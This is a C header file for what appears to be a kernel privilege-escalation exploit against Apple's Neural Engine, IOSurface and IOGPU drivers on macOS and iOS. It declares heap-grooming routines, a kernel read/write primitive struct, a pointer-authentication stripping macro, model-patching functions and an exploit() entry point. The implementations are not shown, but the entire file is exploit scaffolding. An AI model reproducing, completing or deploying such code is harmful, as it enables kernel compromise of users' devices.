#ifndef H_EXPLOIT_H
#define H_EXPLOIT_H

//#define dbg printf
#define dbg(x, ...)


#include "iokit.h"
#include "IOSurface.h"
#include "IOGPU.h"
#include "ANEDirectIn.h"
#include "aneProgram.h"
#include <sys/utsname.h>
#include <Foundation/Foundation.h>
#include "AppleNeuralEngine/_ANEModel.h"
#include "AppleNeuralEngine/_ANEClient.h"

#define FOR_EACH_COMMAND                                                \
        lc = (struct load_command*)(mh + 1);                                   \
        for (int i = 0; i < mh->ncmds; ++i, lc = (struct load_command*)((char*)lc + lc->cmdsize))

#if TARGET_OS_OSX
#define xpacd(addr)  ((addr) | ((uint64_t)0xfffffe00 << 32))
#else
#define xpacd(addr)  ((addr) | ((uint64_t)0xfffffff0 << 32))
#endif

#define TOTAL_PORTS 0x1300


#if TARGET_OS_OSX

#define MAX_PROGRAMS            5
#define IOSURFACE_OBJ_SIZE      0x440
#define MAX_SHMEMS              0x2000

#else

#define MAX_PROGRAMS            5
#define IOSURFACE_OBJ_SIZE      0x430
#define MAX_SHMEMS              0x2000

#endif  /* TARGET_OS_OSX */

#define MAX_TRIES               0x10

struct exploit {

        u8 * initInfo;                       /* INIT:__text 'initInfo' section, where serialized data is located */
        u32 initInfo_sz;                    // The size of the allocated section

        io_connect_t iosurface;
        u32 weightsSurface;

        u8 * weightsBuffer;          // weight surface buffer
        size_t weightsBufferSize;       // weight surface size

        u32 InOutSurface;
        u32 groom_surface_count;

        u32 groom_pageable_maps_count;
        struct shmem *shmems[MAX_SHMEMS * MAX_TRIES];
        u32 shmems_count;

        u32 groom_kernel_map_count;
        bool kernel_map_groom_done;

        void *mh;
        size_t mh_size;
};


struct H11ANESharedMemorySurfaceParamsStruct {
        size_t size;
        u64 p_IOSurface;
        u64 dartMapBase;
        u64 surface_memDesc;
        u64 surface_memMap;
        u64 surface_address;
        u64 dmaCommand;
        u32 name;
        u32 unkown32;
        u64 unkown64;
};

struct matched_surface {
        u32 surface_id;
        u8 * loc;
        u64 IOSurfaceClient_loc;
        u64 IOSurface_loc;
};


struct kern_rw
{
        u8 * shm_uaddr;
        u64 shm_kaddr;
        u64 shm_size;
        u32 surface_id;
        u32 shm_id;
};

void init_structs(void);
void groom_pageable_maps_with_iogpu_cmdbufs(void);
mach_port_t sr(void);
void hwx_init_frameworks(void);
void hwx_patch_model(void);
void _hwx_patch_model(struct mach_header_64 *,size_t ,u8 ** );
uint64_t hwx_load_model(void);
uint64_t hwx_patch_and_load_model(void);
void hwx_unload_model(u64);


int exploit(void);

#endif  /* H_EXPLOIT_H */
